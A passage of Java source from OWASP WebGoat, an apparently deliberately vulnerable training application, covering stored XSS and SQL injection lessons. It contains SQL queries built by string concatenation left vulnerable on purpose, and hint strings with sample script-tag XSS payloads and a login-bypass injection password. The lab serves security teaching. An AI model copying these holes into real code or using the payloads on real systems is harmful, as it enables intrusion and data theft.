Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
}

252
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java Normal file
View File

@ -0,0 +1,252 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
public ViewProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
updateLessonStatus(s, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
String stage = getStage(s);
int userId = -1;
try {
userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
} catch (ParameterNotFoundException pnfe) {
}
if (CrossSiteScripting.STAGE1.equals(stage))
{
String address1 = employee.getAddress1().toLowerCase();
if (userId != employee.getId()
&& address1.indexOf("<script>") > -1
&& address1.indexOf("alert") > -1
&& address1.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE1);
}
}
else if (CrossSiteScripting.STAGE3.equals(stage))
{
String address2 = employee.getAddress1().toLowerCase();
if (address2.indexOf("<script>") > -1
&& address2.indexOf("alert") > -1
&& address2.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE3);
}
}
else if (CrossSiteScripting.STAGE4.equals(stage))
{
if (employee.getAddress1().toLowerCase().indexOf("&lt;") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE4);
}
}
}
}

261
main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/DBCrossSiteScripting.java Executable file
View File

@ -0,0 +1,261 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.EditProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Login;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout;
import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.ViewProfile;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/**
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
*/
public class DBCrossSiteScripting extends GoatHillsFinancial
{
private final static Integer DEFAULT_RANKING = new Integer(100);
public final static String STAGE1 = "Stored XSS";
public final static String STAGE2 = "Block Stored XSS using DB Input Validation";
protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints
.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints
.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Verify that 'Jerry' is affected by the attack. "
+ "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>"
+ "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. ";
if (getWebgoatContext().getDatabaseDriver().contains("jtds"))
instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. ";
instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
}
}
return instructions;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2};
return new String[] {STAGE1};
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: DB Cross Site Scripting (XSS)";
}
@Override
protected boolean getDefaultHidden() {
String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds"));
return hidden;
}
}

268
main/project/JavaSource/org/owasp/webgoat/lessons/DBCrossSiteScripting/UpdateProfile.java Executable file
View File

@ -0,0 +1,268 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.sql.CallableStatement;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.USER_ID);
HttpServletRequest request = s.getRequest();
int subjectId = Integer.parseInt(request.getParameter(DBCrossSiteScripting.EMPLOYEE_ID));
String firstName = request.getParameter(DBCrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(DBCrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(DBCrossSiteScripting.SSN);
String title = request.getParameter(DBCrossSiteScripting.TITLE);
String phone = request.getParameter(DBCrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(DBCrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(DBCrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.MANAGER));
String startDate = request.getParameter(DBCrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.SALARY));
String ccn = request.getParameter(DBCrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(DBCrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(DBCrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(DBCrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
try
{
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ DBCrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
if (DBCrossSiteScripting.STAGE1.equals(getStage(s)))
{
address1 = address1.toLowerCase();
boolean pass = address1.contains("<script>");
pass &= address1.contains("alert");
pass &= address1.contains("</script>");
if (pass)
{
setStageComplete(s, DBCrossSiteScripting.STAGE1);
}
}
}
else
this.createEmployeeProfile(s, userId, employee);
}
catch (SQLException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
if (DBCrossSiteScripting.STAGE2.equals(getStage(s)) &&
(e.getMessage().contains("ORA-06512") || e.getMessage().contains("Illegal characters")) &&
!employee.getAddress1().matches("^[a-zA-Z0-9,\\. ]{0,80}$"))
{
setStageComplete(s, DBCrossSiteScripting.STAGE2);
}
}
catch (ClassNotFoundException e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return DBCrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws SQLException, ClassNotFoundException
{
try
{
String update = " { CALL UPDATE_EMPLOYEE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) }";
CallableStatement call = WebSession.getConnection(s).prepareCall(update);
// Note: The password field is ONLY set by ChangePassword
call.setInt(1, userId);
call.setString(2, employee.getFirstName());
call.setString(3, employee.getLastName());
call.setString(4, employee.getSsn());
call.setString(5, employee.getTitle());
call.setString(6, employee.getPhoneNumber());
call.setString(7, employee.getAddress1());
call.setString(8, employee.getAddress2());
call.setInt(9, employee.getManager());
call.setString(10, employee.getStartDate());
call.setInt(11, employee.getSalary());
call.setString(12, employee.getCcn());
call.setInt(13, employee.getCcnLimit());
call.setString(14, employee.getDisciplinaryActionDate());
call.setString(15, employee.getDisciplinaryActionNotes());
call.setString(16, employee.getPersonalDescription());
call.executeUpdate();
}
catch (ClassNotFoundException e)
{
e.printStackTrace();
}
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
private int getNextUID(WebSession s)
{
int uid = -1;
try
{
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
}

260
main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/DBSQLInjection.java Executable file
View File

@ -0,0 +1,260 @@
package org.owasp.webgoat.lessons.DBSQLInjection;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.EditProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout;
import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.UpdateProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.ViewProfile;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class DBSQLInjection extends GoatHillsFinancial
{
private final static Integer DEFAULT_RANKING = new Integer(75);
public final static int PRIZE_EMPLOYEE_ID = 112;
public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
public final static String STAGE1 = "String SQL Injection";
public final static String STAGE2 = "Block SQL Injection using Bind Variables";
public void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "stmt := 'SELECT USERID FROM EMPLOYEE WHERE USERID = ' || v_id || ' AND PASSWORD = ''' || v_password || '''';<br>"
+ "EXECUTE IMMEDIATE stmt INTO v_userid;");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Remember: You need to end up with a SQL statement that only returns one row, since we are using an INTO clause");
// Stage 1
hints
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ ' OR userid=112 OR password=' ].");
// Stage 2
hints
.add("Change the Stored procedure to use bind variables.");
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2};
return new String[] {STAGE1};
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "The goal here is to login as the user "
+ PRIZE_EMPLOYEE_NAME
+ ", who is in the Admin group. "
+ "You do not have the password, but the form is SQL injectable. "
+ "View the EMPLOYEE_LOGIN stored procedure and see if you can "
+ "determine why the exploit exists.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Use bind variables.<br>"
+ "Using the Squirrel SQL Client, update the EMPLOYEE_LOGIN stored procedure in the database "
+ "to use bind variables, rather than string concatenation. "
+ "Repeat the SQL Injection attack. Verify that the attack is no longer effective.";
}
}
return instructions;
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName());
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
}
}
else
setCurrentAction(s, ERROR_ACTION);
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: DB SQL Injection";
}
@Override
protected boolean getDefaultHidden() {
String driver = getWebgoatContext().getDatabaseDriver();
boolean hidden = ! (driver.contains("oracle") || driver.contains("jtds"));
return hidden;
}
}

248
main/project/JavaSource/org/owasp/webgoat/lessons/DBSQLInjection/Login.java Executable file
View File

@ -0,0 +1,248 @@
package org.owasp.webgoat.lessons.DBSQLInjection;
import java.sql.CallableStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.sql.Types;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Login extends DefaultLessonAction
{
private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
